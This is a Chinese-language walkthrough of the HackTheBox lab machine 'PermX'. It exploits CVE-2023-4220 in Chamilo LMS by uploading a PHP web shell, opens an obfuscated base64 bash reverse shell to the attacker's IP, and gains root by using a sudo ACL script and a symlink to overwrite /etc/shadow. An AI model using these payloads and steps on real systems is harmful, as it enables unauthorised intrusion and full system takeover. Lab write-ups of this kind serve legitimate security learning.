Chamilo LMS未经身份验证的Big Upload File远程代码执行漏洞
PermX
信息搜集
nmap扫描一下端口
1 | nmap -sC -v 10.10.11.23 |
扫描结果如下
1 | PORT STATE SERVICE |
发现80端口重定向http://permx.htb,添加域名到/etc/hosts
访问80端口,打开页面翻译发现是个学习平台

扫一下有没有子域名
1 | ffuf -u 'http://permx.htb' -H 'host: FUZZ.permx.htb' -w /home/rev1ve/shentou/dict/zi-yu-ming/subdomains-10000.txt -fc 301,302 -mc all |

www子域名没什么东西,添加lms.permx.com到/etc/hosts
漏洞利用
直接访问,搜索一下是学习管理系统
账号密码都没有,并且尝试admin弱密码也不行

开始是在阿里云漏洞库找并没有收获,后面去CVE官网找到可利用漏洞

这里网上找了篇利用漏洞的文章,按照文章打就行
先查看下/main/inc/lib/javascript/bigupload/inc/bigUpload.php文件是否存在

如果存在的话,就可以允许将任意文件上传到Web根目录下的/main/inc/lib/javascript/bigupload/files目录
写个马上传到文件夹
1 | echo '<?php eval($_POST[1]);?>' > rce.php |

访问马的上传路径,成功命令执行

直接反弹shell到本机
1 | 1=system("echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNi45LzEwMjggMD4mMQ==|base64 -d|bash"); |

由于是www-data的shell没什么权限,在本机开启http服务
上传linpeas.sh自动化扫描一下
1 | wget http://10.10.16.9/linpeas.sh |

发现存在数据库敏感信息

cat查看一下得到用户名和密码
1 | // Database connection settings. |
想着连接数据库,不过一直都连不上
1 | mysql -u chamilo -p -h localhost |
我们查看下/home下对应用户为mtz,尝试用数据库密码登录
1 | ssh mtz@10.10.11.23 |
登陆成功,拿到user的flag

权限提升
直接sudo -l看看有什么可以用

跟进查看一下
1 |
|
首先判断是否为三个参数,分别为user用户、perm权限、target目标文件,然后$target限制在/home/mtz路径下以及防止目录穿越,最后就是目标必须是文件。其实这段bash脚本就是用于设置文件的访问控制列表 (ACL)
由于root的密码存放在/etc/shadow,虽然限制访问路径和../,但是我们可以创建个指向/etc/,然后修改root用户对应的密码即可提升至root权限
创建软链接,赋予/etc/shadow文件的rwx权限
1 | ln -s /etc/ exp |

在攻击机加密我们要修改的密码
1 | openssl passwd -6 123456 |

最后添加到/etc/shadow里即可
1 | echo 'root:$6$vJ2j3Q3CvHdwSUqC$UiU8yKLIxCwz/GEAve5F9dYGk.nxo1gscErZL3bKADldciewmeC/Txk1jUmr2KI2DJS12tS1seUTR988mw12G0:19871:0:99999:7:::' > /home/mtz/exp/shadow |
su切换到root用户,得到root的flag

参考文章
CVE-2023-4220漏洞利用
靶机wp